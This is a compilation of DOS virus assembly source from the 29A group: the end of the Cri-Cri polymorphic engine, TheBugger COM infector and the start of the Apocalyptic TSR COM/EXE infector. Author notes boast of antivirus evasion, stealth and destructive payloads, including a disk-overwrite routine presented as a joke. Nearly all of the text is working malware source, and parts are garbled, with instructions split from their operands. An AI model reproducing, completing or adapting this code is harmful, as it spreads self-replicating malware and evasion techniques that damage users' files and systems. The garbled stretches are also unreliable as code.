reg,byte ptr cs:[key][bp] mov al,byte ptr cs:[address_seg_1] mov ah,8Ah stosw mov al,byte ptr cs:[decrypt_register] or al,86h stosb ;Store position of encryption key mov ax,offset clave_crypt stosw ;Decode a xor byte ptr cs:[si],reg mov al,byte ptr cs:[address_seg_2] mov ah,30h stosw mov al,byte ptr cs:[decrypt_register] or al,05h sub al,byte ptr cs:[address_register] stosb ret ;----------------------------------------------------------------------------;Increment pointer to encrypted zone ;----------------------------------------------------------------------------inst_inc_pointer: mov al,47h sub al,byte ptr cs:[address_register] stosb ret

;----------------------------------------------------------------------------;Decrement counter and loop ;----------------------------------------------------------------------------inst_dec_loop: ;Decode a dec reg instruction mov al,4Eh add al,byte ptr cs:[address_register] stosb ;Decode a jz mov al,74h stosb push di inc di ;Generate some garbage instructions call rnd_garbage ;Decode a jmp to loop instruction mov al,0E9h stosb mov ax,word ptr cs:[address_loop] sub ax,di dec ax dec ax stosw ;Generate some garbage instructions call rnd_garbage ;Store jz displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;----------------------------------------------------------------------------;Generate some garbage instructions if rnd ;----------------------------------------------------------------------------rnd_garbage: call get_rnd and al,01h jz do_rnd_garbage ret do_rnd_garbage: call g_generator ret ;----------------------------------------------------------------------------;Generate a push reg and garbage and pop reg ;----------------------------------------------------------------------------do_push_g_pop: ;Build a random push pop call do_push_pop ;Get pop instruction dec di mov al,byte ptr cs:[di+00h] push ax call g_generator pop ax stosb ret ;----------------------------------------------------------------------------;Generate a subroutine witch contains garbage code. ;----------------------------------------------------------------------------do_subroutine:

cmp word ptr cs:[last_subroutine],0000h je create_routine ret create_routine: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[last_subroutine],di ;Get subroutine address inc di inc di ;Generate some garbage code call g_generator ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;----------------------------------------------------------------------------;Generate a subroutine witch contains one decryptor instruction ;----------------------------------------------------------------------------sub_decryptor: cmp word ptr cs:[decrypt_sub],0000h je ok_subroutine ret ok_subroutine: ;Do not generate the loop branch into a subroutine mov bl,byte ptr cs:[decrypt_pointer] inc bl cmp bl,05h jne no_loop_sub ret no_loop_sub: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[decrypt_sub],di inc di inc di push bx call rnd_garbage pop bx call entry_from_sub call rnd_garbage build_return: ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement

mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;----------------------------------------------------------------------------;Generate a call instruction to a subroutine witch contains ;next decryptor instruction ;----------------------------------------------------------------------------do_call_decryptor: cmp byte ptr cs:[decrypt_pointer],03h jne no_store_call ;Save position mov word ptr cs:[address_loop],di no_store_call: ;Build a call to our subroutine mov al,0E8h stosb mov ax,word ptr cs:[decrypt_sub] sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[decrypt_sub],0000h ret ;----------------------------------------------------------------------------;Generate a call instruction to a subroutine witch some garbage code ;----------------------------------------------------------------------------do_call_garbage: mov cx,word ptr cs:[last_subroutine] ;Check if there is a subroutine to call or cx,cx jnz ok_call ;No, so exit ret ok_call: ;Build a call to our garbage subroutine mov al,0E8h stosb mov ax,cx sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[last_subroutine],0000h ret ;----------------------------------------------------------------------------;Generate a branch followed by some garbage code ;----------------------------------------------------------------------------do_branch: ;Generate a random conditional jump instruction call get_rnd and al,07h or al,70h stosb ;Save address for jump construction push di ;Get subroutine address inc di ;Generate some garbage code call g_generator

;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;----------------------------------------------------------------------------;Lay down between 2 and 5 filler opcodes selected from the available ;types ;----------------------------------------------------------------------------g_generator: ;Get a random number for fill count call get_rnd and ax,03h ;Min 2, max 5 opcodes inc ax inc ax next_fill: push ax new_fill: ;Select the type of filler mov ax,(end_op_table-op_table)/2 call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_fill_type] je new_fill mov word ptr cs:[last_fill_type],ax add ax,ax mov bx,ax call word ptr cs:[op_table+bx] pop ax dec ax jnz next_fill ret ;----------------------------------------------------------------------------;Makes an opcode of type mov reg,immediate value ;either 8 or 16 bit value ;but never ax or al or sp,di,si or bp ;----------------------------------------------------------------------------move_imm: call get_rnd ;Get a reggie and al,0Fh ;Make it a mov reg, or al,0B0h test al,00001000b jz is_8bit_mov ;Make it ax,bx cx or dx and al,11111011b mov ah,al and ah,03h ;Not ax or al jz move_imm stosb call rand_16 stosw ret is_8bit_mov: mov bh,al ;Is al?

and bh,07h ;Yeah bomb jz move_imm stosb call get_rnd stosb ret ;----------------------------------------------------------------------------;Now we knock boots with mov reg,reg's ;but never to al or ax. ;----------------------------------------------------------------------------move_with_reg: call rand_16 ;Preserve reggies and 8/16 bit and ax,0011111100000001b ;Or it with addr mode and make it mov or ax,1100000010001010b reg_test: test al,1 jz is_8bit_move_with_reg ;Make source and dest = ax,bx,cx,dx and ah,11011011b is_8bit_move_with_reg: mov bl,ah and bl,00111000b ;No mov ax, 's please jz move_with_reg ;Let's see if 2 reggies are same reggies. mov bh,ah sal bh,1 sal bh,1 sal bh,1 and bh,00111000b ;Check if reg,reg are same cmp bh,bl jz move_with_reg stosw ret ;----------------------------------------------------------------------------;Modify a mov reg,reg into an xchg reg,reg ;----------------------------------------------------------------------------reg_exchange: ;Make a mov reg,reg call move_with_reg ;But then remove it dec di ;And take advantage of the fact the opcode is still in ax dec di ;Was a 16 bit type? test al,1b ;Yeah go for an 8 bitter jnz reg_exchange mov bh,ah ;Is one of reggies ax? and bh,07h ;Yah so bomb jz reg_exchange ;Else make it xchg ah,dl etc... mov al,10000110b stosw ret ;----------------------------------------------------------------------------;We don't have to watch our stack if we pair up pushes with pops

;so I slapped together this peice of shoddy work to add em. ;----------------------------------------------------------------------------do_push_pop: mov ax,(end_bytes_2-bytes_2)/2 call rand_in_range add ax,ax mov bx,ax ;Generate push and pop instruction mov ax,word ptr cs:[bytes_2+bx] stosw ret ;----------------------------------------------------------------------------;Generate a random int 21h call. ;----------------------------------------------------------------------------do_int_21h: ;Do not generate int 21h calls into boot sectore decryptor cmp byte ptr cs:[prog_type],"B" je no_generate_int ;Do not generate int 21h calls into decryption loop cmp byte ptr cs:[decrypt_pointer],02h jb no_in_loop no_generate_int: ret no_in_loop: call get_rnd ;Choose within ah,function or ax,function+subfunction and al,01h jz do_int_ax do_int_ah: mov ax,end_ah_table-ah_table call rand_in_range mov bx,ax mov ah,byte ptr cs:[ah_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type] jz do_int_ah ;Generate mov ah,function mov byte ptr cs:[last_int_type],ah mov al,0B4h stosw ;Generate int 21h mov ax,021CDh stosw ret do_int_ax: mov ax,(end_ax_table-ax_table)/2 call rand_in_range add ax,ax mov bx,ax mov ax,word ptr cs:[ax_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type] jz do_int_ax mov byte ptr cs:[last_int_type],ah ;Generate mov ax,function mov byte ptr es:[di+00h],0B8h inc di stosw ;Generate int 21h mov ax,021CDh stosw ret ;-----------------------------------------------------------------------------

;Simple timer based random numbers but with a twist using xor of last one. ;----------------------------------------------------------------------------get_rnd: in ax,40h xor ax, 0FFFFh org $-2 Randomize dw 0000h mov [Randomize],ax ret ;----------------------------------------------------------------------------;A small variation to compensate for lack of randomocity in the ;high byte of 16 bit result returned by get_rnd. ;----------------------------------------------------------------------------rand_16: call get_rnd mov bl,al call get_rnd mov ah,bl ret ;----------------------------------------------------------------------------;Generate a random number betwin 0 and ax. ;----------------------------------------------------------------------------rand_in_range: ;Returns a random num between 0 and entry ax push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx ;Remainder in dx xchg ax,dx pop dx pop bx ret ;---------------------------------------------------------------------------;Return the al vector in es:bx ;---------------------------------------------------------------------------get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret ;---------------------------------------------------------------------------;Set al interrupt vector to ds:dx pointer ;---------------------------------------------------------------------------set_int: push ax push bx push ds cli xor ah,ah rol ax,1 rol ax,1 xchg ax,bx push ds xor ax,ax

mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;---------------------------------------------------------------------------;Print message to screen ;---------------------------------------------------------------------------print_credits: ;Set VGA video mode 03h push bp mov ax,0003h int 10h ;Print string mov ax,1301h mov bx,0002h mov cx,003Ah mov dx,0A0Bh push cs pop es pop bp add bp,offset text_birthday int 10h exit_print: ;Infinite loop jmp exit_print ;---------------------------------------------------------------------------;Get sft address in es:di ;---------------------------------------------------------------------------get_sft: ;File handle in bx push bx ;Get job file table entry to es:di mov ax,1220h int 2Fh jc error_sft ;Exit if handle not opened xor bx,bx mov bl,byte ptr es:[di+00h] cmp bl,0FFh je error_sft ;Get address of sft entry number bx to es:di mov ax,1216h int 2Fh jc error_sft pop bx stc cmc ret ;Exit with error error_sft: pop bx stc ret ;---------------------------------------------------------------------------;Seek to end of file ;---------------------------------------------------------------------------seek_end: call get_sft mov ax,word ptr es:[di+11h]

mov dx,word ptr es:[di+13h] mov word ptr es:[di+17h],dx mov word ptr es:[di+15h],ax ret ;---------------------------------------------------------------------------;Seek to beginning ;---------------------------------------------------------------------------seek_begin: call get_sft xor ax,ax mov word ptr es:[di+17h],ax mov word ptr es:[di+15h],ax ret ;---------------------------------------------------------------------------;Virus CRITICAL ERROR interrupt handler ;---------------------------------------------------------------------------my_int24h: sti ;Return error in function mov al,3 iret ;---------------------------------------------------------------------------;Save all registers in the stack ;---------------------------------------------------------------------------push_all: cli pop cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push cs:[ret_off] sti ret ;---------------------------------------------------------------------------;Restore all registers from the stack ;---------------------------------------------------------------------------pop_all: cli pop cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push cs:[ret_off] sti ret ;---------------------------------------------------------------------------;Clear some registers before returning to host ;---------------------------------------------------------------------------zero_all:

xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor di,di xor si,si xor bp,bp ret ;---------------------------------------------------------------------------;Unhook int 03h and int 24h and clear dos infection switch ;---------------------------------------------------------------------------unhook_ints: push ds push dx push ax mov byte ptr cs:[running_sw],"R" lds dx,dword ptr cs:[old03h] mov al,03h call set_int lds dx,dword ptr cs:[old24h] mov al,24h call set_int pop ax pop dx pop ds ret ;---------------------------------------------------------------------------;Get position of code inserted into boot sector ;---------------------------------------------------------------------------get_position: mov ah,0 mov al,byte ptr es:[bx+01h] inc ax inc ax mov di,bx add di,ax ret ;---------------------------------------------------------------------------;Make a copy of file header ;---------------------------------------------------------------------------copy_header: ;Copy header to buffer call push_all push cs pop es mov si,offset file_buffer mov di,offset old_header mov cx,0019h cld rep movsb call pop_all ret ;---------------------------------------------------------------------------;Polymorphic generator data buffer ;---------------------------------------------------------------------------ah_table: ;This table contains the int 21h garbage functions db 00Bh ;Read entry state db 019h ;Get current drive db 02Ah ;Get current date db 02Ch ;Get current time db 030h ;Get dos version number db 062h ;Get psp address

end_ah_table: ax_table: dw 3300h ;Get break-flag dw 3700h ;Get line-command separator dw 5800h ;Get mem concept dw 5802h ;Get umb insert dw 6501h ;Get code-page end_ax_table: ;Push and pop pairs bytes_2: push ax pop dx push ax pop bx push ax pop cx push bx pop dx push bx pop cx push cx pop bx push cx pop dx end_bytes_2: ;Steps table step_table: dw offset do_subroutine dw offset do_call_garbage dw offset g_generator dw offset do_branch dw offset sub_decryptor dw offset next_decryptor dw offset do_push_g_pop end_step_table: instruction_table: dw offset inst_get_delta dw offset inst_load_counter dw offset inst_load_pointer dw offset inst_decrypt_one dw offset inst_inc_pointer dw offset inst_dec_loop end_inst_table: ;Address of every op-code generator op_table: dw offset move_with_reg dw offset move_imm dw offset reg_exchange dw offset do_push_pop dw do_int_21h end_op_table: ;Misc data last_fill_type dw 0 last_int_type db 0 last_step_type dw 0000h last_subroutine dw 0000h decrypt_sub dw 0000h address_loop dw 0000h decrypt_pointer db 00h address_register db 00h decrypt_register db 00h address_seg_1 db 00h address_seg_2 db 00h

;---------------------------------------------------------------------------;Virus data buffer ;---------------------------------------------------------------------------old21h equ this dword old21h_off dw 0000h old21h_seg dw 0000h org21h equ this dword org21h_off dw 0000h org21h_seg dw 0000h old13h equ this dword old13h_off dw 0000h old13h_seg dw 0000h old24h equ this dword old24h_off dw 0000h old24h_seg dw 0000h old03h equ this dword old03h_off dw 0000h old03h_seg dw 0000h read_ptr equ this dword read_off dw 0000h read_seg dw 0000h dos_flag db 00h prog_type db "C" running_sw db "R" stealth_sw db 00h dos_function dw 0000h ret_off dw 0000h today db 00h file_offset dw 0000h ;---------------------------------------------------------------------------text_birthday db "Cri-Cri ViRuS by Griyo/29A" db " ...Tried, tested, not approved." ;---------------------------------------------------------------------------file_buffer db 19h dup (00h) old_header db 19h dup (00h) clave_crypt db 00h ;---------------------------------------------------------------------------;Buffer for working area virus_copy db 00h ;---------------------------------------------------------------------------com ends end virus_entry

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±±± ±±± ;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±± ;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±± ;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±± ;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±± ;±±± ±±± ;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±±± TheBugger is a simple COM infector with some interesting ±±± ;±±± inprovements. ±±± ;±±± ±±± ;±±± Its first difference with a normal COM virus is the tricky resident ±±± ;±±± check; it's designed to avoid lamers writing the typical resident ±±± ;±±± program wich returns the residency code and forces the virus to not ±±± ;±±± install in memory. To avoid that, the virus makes an extra check of ±±± ;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±± ;±±± simulated HD formatting routine }:). ±±± ;±±± ±±± ;±±± Another interesting feature is the tunneling routine. It uses the ±±± ;±±± common code trace method but it starts tracing from PSP call to int ±±± ;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±± ;±±± resident antivirus stopping trace mode. This call is supported for ±±± ;±±± compatibility with older DOS versions and it has some little ±±± ;±±± diferences with the normal int 21 handler: first, the function code ±±± ;±±± is passed in cl register (not in ah as usual) and second, the ±±± ;±±± function to call can't be higher than 24h. These diferences are ±±± ;±±± handled by the O.S. in a separated routine and then it jumps to the ±±± ;±±± original int 21h handler, so the tunneling routine only skips the ±±± ;±±± first 'compatibility' routines and gets the real int 21h address €:).±±± ;±±± ±±± ;±±± The last big feature, is the infection method; the virus infects COM ±±± ;±±± files by changing a call in host code to point to it. This call may ±±± ;±±± be one between the second and fifth. This is done by intercepting ±±± ;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±± ;±±± rus changes its first word with an int CDh call, it intercepts this ±±± ;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±± ;±±± cutes the int CDh and then the virus takes control; it restores host ±±± ;±±± first word and changes int 01h to trace host in order to find a call ±±± ;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±± ;±±± until host code, but this way we have the same problem of resident ±±± ;±±± antivirus. ±±± ;±±± ±±± ;±±± And that's all folks :), enjoy it. ±±± ;±±± ±±± ;±±± 9 CAN ±±± ;±±± The Slug/29A };){|0D==8±±± ;±±± I Love This Job. 3---ë-----±±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± .286 code segment 'TheBugger' assume cs:code,ds:code,ss:code org 0h virsize equ (virend-start)+1

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± start: push cs db 68h retonno dw 0000 ;address t0 return t0 h0st. ;push '0ffset'.

push ds es pusha call sig pop si sub si, offset(sig) mov int cmp jne jmp instal: mov int xchg dec mov cmp je jmp chgmcb: sub sub add inc ax, 0B0B0h 21h ax, 0BABAh instal lstchk ah, 62h 21h bx,ax ax ds,ax byte ptr ds:[0],'Z' chgmcb aprog ;get nasty delta 0ffset.


;resident check.

;get PSP segment. ;get MCB addres.

;is the last MCB?

word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB word ptr ds:[12h],(virsize/10h)+8 ;& in PSP. ax,ds:[3] ax ;copy to new l0cati0n.

cld mov es, ax xor di, di push cs pop ds mov cx, virsize rep movsb push es push offset(newcpy) retf newcpy: mov si, 06h lea di, PSPcall+1 movsw movsw mov ds, cx mov si,21h*4 lea di,int21+1 movsw movsw mov mov

;jump t0 c0py.

;m0ve call t0 int 21, ;fr0m PSP t0 c0py 0f virus.

;save curent int 21h vect0r. ;) cx=0

word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :) word ptr ds:[01h*4]+2, es ;call int 21h fr0m PSP in trace m0de.

pushf pop ax or ah, 01h push ax mov cl, 0Bh popf call PSPcall mov

;get input status function (in cl ;).

word ptr [si-4], offset(hdl21)

;hang new int 21h handler.

mov aprog:

word ptr [si-2], es ;return t0 h0st.

popa pop es ds retf 40h 0200h ax ax

lstchk: in ax, and ax, push si add si, mov di, cmpsw pop si je aprog buuuhh: push pop lea add mov int mov mov mov int loop

;check rand0m w0rd of mem0ry c0py.

cs ds dx, joke dx, si ah,09h 21h dx,0180h cx,07FFh ax,0401h 13h funny

;display funny message :)

;I think it's clear enought };).


;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± credits db intCD: int PSPcall: db dd joke db 'TheBugger virus by The Slug/29A' 0CDh ;int t0 detect h0st execution. 9Ah 0 ;PSP call t0 int21h ;) 'Removing virus from memory...',13,10,'$'

;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± hdl21: cmp jne mov push pop iret cmp je db dd ax, 0B0B0h func2 ax,0BABAh cs es ;resident service?

;return virus segment in es ;f0r extra check.


ax, 4B00h exec 0EAh 0

;exec service?


;jmp t0 int 21h.


push ds es pusha pushf mov si, dx push cs pop es lea di, path lodsb stosb cmp al, 0 jne next ;c0py filespec.


sub si, 4 lodsw xor ax, 2020h cmp ax, 'oc' jne nocom call chgattr mov ax, 3D02h int 03h xchg bx, ax call getdate lea dx, firstb mov cx, 3 mov ah, 3Fh int 03h cmp je xor mov cwd int lea mov mov int word ptr cs:firstb, 'ZM' exit cx, cx ax, 4200h 03h dx, intCD cx, 2 ah, 40h 03h

;is a .c0m file?

;change file attributes. ;0pen file.

;get file time & date. ;read first 3 bytes 0f file ;t0 exe check & h0st detect rutine.

;is an exe file (MZ sign)?

;g0 t0 file start again. ;dx <- 0 ;)

;write 'int CDh' c0de 0n file start ;t0 detect h0st execution.

xor mov mov mov mov mov mov mov exit: mov int

ax, ax ;change int CDh vect0r es, ax ;f0r h0st detection. ax, es:[0CDh*4] intcddes, ax ax, es:[0CDh*4]+2 intcdseg, ax es:[0CDh*4], offset(fndhst) es:[0CDh*4]+2, cs ah, 3Eh 03h ;cl0se file.


popf popa pop es ds jmp int21

;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±± tunn: push ds es bp pusha call getret cmp jne cmp je es:[di], 0FC80h fuera byte ptr es:[di+2], 24h fuera ;trace int 21 f0r tunneling.

;get next instructi0n address in es:di. ;is an 'cmp ax, ??' ;avoid 'cmp ax, 24h'


xor mov mov mov

bx, bx es, bx es:[03h*4], di es:[03h*4]+2, ax

;make int 03h point to true int 21h ;)

lodsw and ah, 0FEh mov [si-2], ax fuera: popa pop bp es ds iret

;trace m0de 0ff.

;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± fndhst: push ds es bp pusha call getret chkhst: cmp jne di, 102h nohost ;detect h0st c0de at exec.

;get next instructi0n dir. ;ensure it's h0st start :)

push cs pop ds mov ax, word ptr firstb dec di dec di stosw lea push mov int xchg lea mov mov int call mov int pop call xor mov mov mov mov mov dx, path dx ax, 3D02h 21h bx, ax dx, firstb cx, 2 ah, 40h 21h setdate ah ,3Eh 21h dx setattr ax, ax es, ax ax, intcddes es:[0CDh*4], ax ax, intcdseg es:[0CDh*4]+2, ax ;rest0re first h0st w0rd in mem0ry.

;0pen file.

;rest0re first w0rd 0f file.

;rest0re file date & time. ;cl0se file.

;rest0re file attributes. ;rest0re int CDh vect0r.

mov mov mov in and

word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r es:[01h*4]+2, cs ;t0 find a call. numinstr, 0FFh ax, 40h al, 03h ;max number 0f instr. t0 trace. ;ramd0m ch0se 0f call t0 infect (2-5).

inc inc mov push pop dec dec mov

al al numcall, al ss ds di di [si-4], di ;rest0re 0riginal IP (100h) 0n stack.

lodsw or ah, 01h mov ss:[si-2], ax nohost: popa pop bp es ds iret

;trace m0de 0n

;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±± fndcal: push ds es bp pusha dec jnz jmp goon: cs:numinstr goon off ;trace h0st t0 find a call t0 infect.

;check instructi0n trace limit.

call getret cmp jne inc di, cs:lstdsp norep cs:numinstr cs:lstdsp, di ax, es:[di]

;get ret address. ;d0 n0t c0unt 0ne m0re instructi0n ;0n 'rep' prefixed instructi0ns.


mov mov

;st0re actual return 0ffset.

cmp al, 9Dh jne chkirt lodsw lodsw or ah, 01h mov [si-2], ax jmp nocall chkirt: cmp al, 0CFh jne chkint lodsw lodsw lodsw lodsw or ah, 01h mov [si-2], ax anocall:jmp nocall chkint: cmp jne cmp je cmp je cmp je al, 0CDh chkint3 ah, 20h anocall ah, 21h anocall ah, 27h anocall

;check f0r a p0pf.

;ensure trap flag will be 0n.

;check f0r a iret.

;ensure trap flag will be 0n.

;check f0r a int xx. ;skip ints 20h, 21h & 20h

mov inc inc mov

cs:numint, ax di di [si-4], di

;int number t0 perf0rm call. ;inc ret addr t0 step 0ver int call.

popa pop bp es ds numint dw 00 iret chkint3:cmp jne inc mov jmp chkcal: cmp je jmp found: dec je cmp jb jmp al, 0CCh chkcal di [si-4], di nocall al, 0E8h found nocall cs:numcall go cs:numinstr, 20 go nocall

;perf0rm int call in virus c0de.

;check int 03h call.

;step 0ver int call.

;check f0r a call t0 infect.

;it's the nice 0ne ;) ;d0n't be s0 extrict in call number ;if there are t00 few calls.


call chgattr mov ax, 3D02h int 03h xchg bx, ax call getdate xor mov sub mov int lea mov mov int cmp je jmp cx, dx, dx, ax, 03h cx di 100h 4200h

;change attributes. ;0pen file.

;get file date & time. ;m0ve t0 file call positi0n.

dx, check cx, 1 ah, 3Fh 03h check, 0E8h ok close cx, cx ax, 4202h 03h hostsize, ax ax, di ax, 0FDh hostsize, ax ax, es:[di+1] ax, di

;read call fr0m file f0r c0mpress chk.

;c0mpressed file?


xor mov cwd int mov sub add mov mov add

;m0ves t0 end 0f file. ;dx <- 0 ;)

;find call parameter. ;f0r a new "call hostsize". ;0ffset t0 return t0 h0st

add mov lea mov mov int xor sub mov mov int lea mov mov int close:

ax, 3 retonno, ax dx, start cx, virsize ah, 40h 03h cx, di, dx, ax, 03h cx 0FFh di 4200h ;save mi c0de at file end.

;m0ves again t0 call.

dx, hostsize cx, 2 ah, 40h 03h

;change it. }:)

call setdate mov int ah, 3Eh 03h

;rest0re file time & date. ;cl0se file.

lea dx, path call setattr off: mov mov and mov bp, sp ax, ss:[bp+26] ah, 0FEh ss:[bp+26], ax

;rest0re file attributes.

;trace m0de 0ff.

nocall: popa pop bp es ds iret ;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±± getret: mov si, add si, push ss pop ds lodsw mov di, lodsw mov es, ret sp 24 ;get next instructi0n dir.

ax ax

;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±± chgattr:push pop lea mov int mov xor mov int ret setattr:mov mov cs ds dx, path ax,4300h 03h attrib,cx cx, cx ax,4301h 03h

;change file attributes.

;reset file atributes.

cx, attrib ax,4301h

;rest0re file attributes.

int ret getdate:mov int mov mov ret setdate:mov mov mov int ret virend:


ax,5700h 03h time,cx date,dx

;get file time & date.

cx,time dx,date ax,5701h 03h

;rest0re file time & date.

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± firstb lstdsp numinstr numcall intcddes intcdseg hostsize attrib time date check path code ends end start db dw db db dw dw dw dw dw dw db db 3 dup(0) 0 0 0 0 0 0 0 0 0 0 0 ;buffer f0r h0st start. ;last trace 0ffset. ;max. number 0f instructi0ns t0 trace. ;call t0 infect (2-5). ;int CD vect0r backup. ;it's just the h0st size ;) ;file attributes. ;file time. ;file date. ;check f0r compressed file. ;path to host.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Virus name: Author: Size: Origin: Finished:

Apocalyptic WiNTeRMuTe/29A 1058 bytes Madrid, Spain October, 1996 ( with a pair of corrections after that )

Characteristics and curiosities - TSR appending Com/Exe infector - Has a routine to encrypt and another to decrypt ( ror+add+xor ) - Stealth ( 11h/12h/4eh/4fh/5700h ) - Deactivates Tbdriver when going into mem and when infecting - Makes the int 3h point to the int21h on infection - Fools f-prot's 'stealth detection' - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan, Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb searching loop,... really that product is a shit ) - Payload: On 26th of July it shows all file with size 029Ah ( 666 )

Thanks go to: - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman, VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP - Living Turmoil, specially Warblade and Krackbaby... go on with the mags! - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan, Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the other cosysops...

And fucks go to: - Some Fidoasses. They know who they are.

*ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* " Why don't you get a life and grow up, why don't you realize that you're fucked up, why criticize what you don't understand, why change my words, you're so afraid " ( Sepultura ) *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* To assemble the virus, use: Tasm virus.asm Tlink virus.obj

.286 HOSTSEG segment BYTE ASSUME CS:HOSTSEG, SS:CODIGO Host: mov ax,4c00h int 21h ends


segment PARA CS:CODIGO, DS:CODIGO, SS:CODIGO equ virus_end-virus_start equ encrypt_end-encrypt_start label byte

virus_size encrypt_size virus_start org 0h

Letsrock: call delta: mov mov sub push push pop call si,sp bp,word ptr ss:[si] bp,offset delta es ax ds cs ds tomacha ; ë-offset delta ; Entry for Com/Exe

; I don't call encryption ;on first generation




;*************************************************************************** ; RESIDENCE ;***************************************************************************

goon: push call mov int mov mov Mcb_Loop: cmp je add inc mov jmp byte ptr es:[0],'Z' got_last si,es:[3] si es,si Mcb_Loop ; I search last Mcb. es tbdriver ah,52h 21h si,es:[bx-2] es,si ; Deactivate TbDriver ; Pick list of lists ; First MCB


got_last: pop cmp je cmp jne go_on: cmp jb push pop mov add sub push word ptr es:[3],((virus_size+15)/16)+1 exit ; Is there space for me ? es ; If there is, I get resident ds di,es di,word ptr es:[3] ; Residence stuff; nothing di,((virus_size+15)/16) ;special di dx word ptr es:[1],0h go_on word ptr es:[1],dx exit ; Is it free ? ; Or with active Psp ?

mov xor xor mov rep pop inc mov mov mov sub mov mov xor rep push pop inc push mov xor mov mov rep mov int pop mov mov mov lea int

es,di di,di si,si cx,8 movsw di di word ptr es:[3],((virus_size+15)/16)+1 word ptr es:[1],di byte ptr ds:[0],'M' word ptr ds:[3],((virus_size+15)/16)+1 di,5 cx,12 al,al stosb es cs ds ax ax ax es,ax di,di si,bp cx,(virus_size) movsb ax,3521h 21h ds ds:word ptr [int21h],bx ds:word ptr [int21h+2],es ah,25h dx,main_center 21h

;*************************************************************************** ; RETURN TO HOST ;*************************************************************************** exit: pop dec jz mov add add cli mov mov sti mov add add push push retf ds ax es byte ptr [flag+bp] era_un_com ; Was it a Com ?

si,ds ; Recover stack si,cs:word ptr [ss_sp+bp] si,10h ss,si sp,cs:word ptr [ss_sp+bp+2]

si,ds ; Recover CS:IP si,cs:word ptr [cs_ip+bp+2] si,10h si cs:word ptr [cs_ip+bp] ; Return to host

